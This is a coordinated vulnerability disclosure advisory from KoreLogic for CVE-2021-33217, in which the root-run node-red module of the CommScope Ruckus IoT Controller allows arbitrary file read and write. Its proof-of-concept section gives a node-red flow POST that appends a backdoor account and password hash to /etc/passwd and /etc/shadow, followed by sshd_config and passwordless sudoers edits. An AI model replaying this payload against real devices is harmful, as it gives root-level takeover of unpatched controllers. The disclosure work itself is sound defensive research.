-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA256 KL-001-2021-006: CommScope Ruckus IoT Controller Web Application Arbitrary Read/Write Title: CommScope Ruckus IoT Controller Web Application Arbitrary Read/Write Advisory ID: KL-001-2021-006 Publication Date: 2021.05.26 Publication URL: https://korelogic.com/Resources/Advisories/KL-001-2021-006.txt 1. Vulnerability Details Affected Vendor: CommScope Affected Product: Ruckus IoT Controller Affected Version: 1.7.1.0 and earlier Platform: Linux CWE Classification: CWE-250: Execution with Unnecessary Privileges CVE ID: CVE-2021-33217 2. Vulnerability Description The IoT Controller web application includes a NodeJS module, node-red, which has the capability for users to read or write to local files on the IoT Controller. With the elevated privileges the web application runs as, this allowed for reading and writing to any file on the IoT Controller filesystem. 3. Technical Description The Ruckus IoT Controller contains the node-red NodeJS Module. The node-red module has the built in functionality to read and write to files on the local filesystem of the IoT Controller. An authentication token is required. But a token is easily obtained due to hard-coded, default, unchangeable web application credentials (CVE-2021-33219). With the web application (and the node-red NodeJS module) running as root, this functionality can be leveraged to read or write to any file on the filesystem of the Ruckus IoT Controller. This condition was leveraged to add an account to the /etc/passwd file, then used to add a password hash to /etc/shadow. Additionally, the SSH daemon configuration was modified to ensure that the newly added account would be able to SSH in to the device. And to complete the escalation to root-level privileges, the newly added account was added to the /etc/sudoers configuration file. None of these steps would have been possible if the web application (and the node-red module as a result) had not been running as the 'root' user. 4. Mitigation and Remediation Recommendation The vendor has released an updated firmware (1.8.0.0) which remediates the described vulnerability. Firmware and release notes are available at: https://www.commscope.com/globalassets/digizuite/917216-faq-security-advisory-id-20210525-v1-0.pdf 5. Credit This vulnerability was discovered by Jim Becher (@jimbecher) of KoreLogic, Inc. 6. Disclosure Timeline 2021.03.30 - KoreLogic submits vulnerability details to CommScope. 2021.03.30 - CommScope acknowledges receipt and the intention to investigate. 2021.04.06 - CommScope notifies KoreLogic that this issue, along with several others reported by KoreLogic, will require more than the standard 45 business day remediation timeline. 2021.04.06 - KoreLogic agrees to extend disclosure embargo if necessary. 2021.04.30 - CommScope informs KoreLogic that remediation for this vulnerability will be available inside of the standard 45 business day timeline. Requests KoreLogic acquire CVE number for this vulnerability. 2021.05.14 - 30 business days have elapsed since the vulnerability was reported to CommScope. 2021.05.17 - CommScope notifies KoreLogic that the patched version of the firmware will be available the week of 2021.05.24. 2021.05.19 - KoreLogic requests CVE from MITRE. 2021.05.19 - MITRE issues CVE-2021-33217. 2021.05.25 - CommScope releases firmware 1.8.0.0 and associated advisory. 2021.05.26 - KoreLogic public disclosure. 7. Proof of Concept An excerpt of one of the POSTs, which is 16000+ bytes in length, is below: POST /node-red/flows HTTP/1.1 .... .... {"id":"b64c27d9.bde92","type":"debug","z":"9e8d5b92.105d48","name":"","active":true,"tosidebar":true,"console":false,"tostatus":false,"complete":"payload","targetType":"msg","x":410,"y":420,"wires":[]},{"id":"6a762f41.9154e","type":"file in","z":"9e8d5b92.105d48","name":"","filename":"/etc/shadow","format":"lines","chunk":false,"sendError":false,"encoding":"none","x":240,"y":340,"wires":[["b64c27d9.bde92"]]},{"id":"9f4d3e63.679728","type":"file","z":"9e8d5b92.105d48","name":"","filename":"/etc/shadow","appendNewline":true,"createDir":false,"overwriteFile":"false","encoding":"ascii","x":300,"y":540,"wires":[[]]},{"id":"226919a8.efb196","type":"inject","z":"9e8d5b92.105d48","name":"","topic":"","payload":"jbecher2:$6$c4jEcmjj$uDjuSxfkzd0QHt/MAGnPJ798izuVhq11MSmkS3iXtDg.iqSumzou4.HauYOrSIYl5JdQlrbZAL7PAkPfrxcxH0:18626:0:99999:7:::","payloadType":"str","repeat":"","crontab":"","once":false,"onceDelay":0.1,"x":110,"y":500,"wires":[["9f4d3e63.679728"]]},{"id":"7b6a1a67.f44ef4","type":"inject","z":"9e8d5b92.105d48","name":"","topic":"jbecher2:x:18626:18626:Jim Becher,,,:/tmp:/bin/bash","payload":"","payloadType":"str","repeat":"","crontab":"","once":false,"onceDelay":0.1,"x":110,"y":600,"wires":[["72dfbb2b.4e930c"]]},{"id":"72dfbb2b.4e930c","type":"file","z":"9e8d5b92.105d48","name":"","filename":"/etc/passwd","appendNewline":true,"createDir":false,"overwriteFile":"false","encoding":"ascii","x":320,"y":640,"wires":[[]]}],"rev":"0564d9f18d8097f549648378fe8c4476"} and then there is a subsequent POST to inject/trigger the flow. root@vriot:~# tail -1 /etc/passwd jbecher2:x:18626:18626:Jim Becher,,,:/tmp:/bin/bash root@vriot:~# tail -1 /etc/shadow jbecher2:$6$c4jEcmjj$uDjuSxfkzd0QHt/MAGnPJ798izuVhq11MSmkS3iXtDg.iqSumzou4.HauYOrSIYl5JdQlrbZAL7PAkPfrxcxH0:18626:0:99999:7::: Note: the above hash is the same as the hash of the vriotha user, whose password is known to be 'nplus1user' (CVE-2021-33218). root@vriot:~# tail -2 /etc/ssh/sshd_config Match User jbecher2 PasswordAuthentication yes root@vriot:~# tail -1 /etc/sudoers jbecher2 ALL=(ALL:ALL) NOPASSWD: ALL The contents of this advisory are copyright(c) 2021 KoreLogic, Inc. and are licensed under a Creative Commons Attribution Share-Alike 4.0 (United States) License: http://creativecommons.org/licenses/by-sa/4.0/ KoreLogic, Inc. is a founder-owned and operated company with a proven track record of providing security services to entities ranging from Fortune 500 to small and mid-sized companies. We are a highly skilled team of senior security consultants doing by-hand security assessments for the most important networks in the U.S. and around the world. We are also developers of various tools and resources aimed at helping the security community. https://www.korelogic.com/about-korelogic.html Our public vulnerability disclosure policy is available at: https://korelogic.com/KoreLogic-Public-Vulnerability-Disclosure-Policy.v2.3.txt -----BEGIN PGP SIGNATURE----- iQJOBAEBCAA4FiEETtzSIGy8wE6Vn0geUk0uR1lFz/MFAmCusGYaHGRpc2Nsb3N1 cmVzQGtvcmVsb2dpYy5jb20ACgkQUk0uR1lFz/NJrQ/7BfsCa2Vj8TDwY6rJBHEK wY4VaovsYgJ9TcqYxNsdTYhWdMQPXOiXjKb4I6tqEawsMemTAyPTbDX12k9apgu0 3qPt7YOSydqn/c+l/1/MKE3JRfr3GcRmI72qjYvzZBrUpJq9ZsqhrQfPoy4DhyFG FTv2GRRT/Ybug065PWB8YHrFtimWyp5t69BPZRZTA9ctESgdQL7GEctmGzt38TmE WuKx2VWT/NJCdJIolZvUP4HXNuu2+uq1gt+qXfG3lkmN9OcoLCdzPygmGdKA0FYR yJ30r5DCN6U4JwuxYHlKQBQ0vhMMg8DkJ4G0JzijhyQMaly4XpKwTrph62GiGdKl iF6NIPUu7lMswy/YWZYusKm9Y+Odg/nUQfLruUr2tWBjYqFkDWqmEkknX+Fv12n5 J7Y2NAxmGsZH7Ds74VWXd8XJvD/lj2gfz08XZrE8Ff17ffeVPrU/lw057O+jJTud YeR6arubJtFh+UDZevtUp88XGenRkd4PjAv9nJdwBx1Hr0h4DsDT4qpwrYY5wfuR Zp9i+uhfdGBATtZ9oxpAX0r++4heDngQ0LX85EZAFz+DIlaBlB6F6mZBzAoEOic9 c05V2laerCCkKHJ/AzuDOtF07lpn/b9kW+69+KMGEbLISpOnczEqTHG3UiFxNG8V xEtqwHZ0afLd7BwzyluwrMs= =xy3y -----END PGP SIGNATURE-----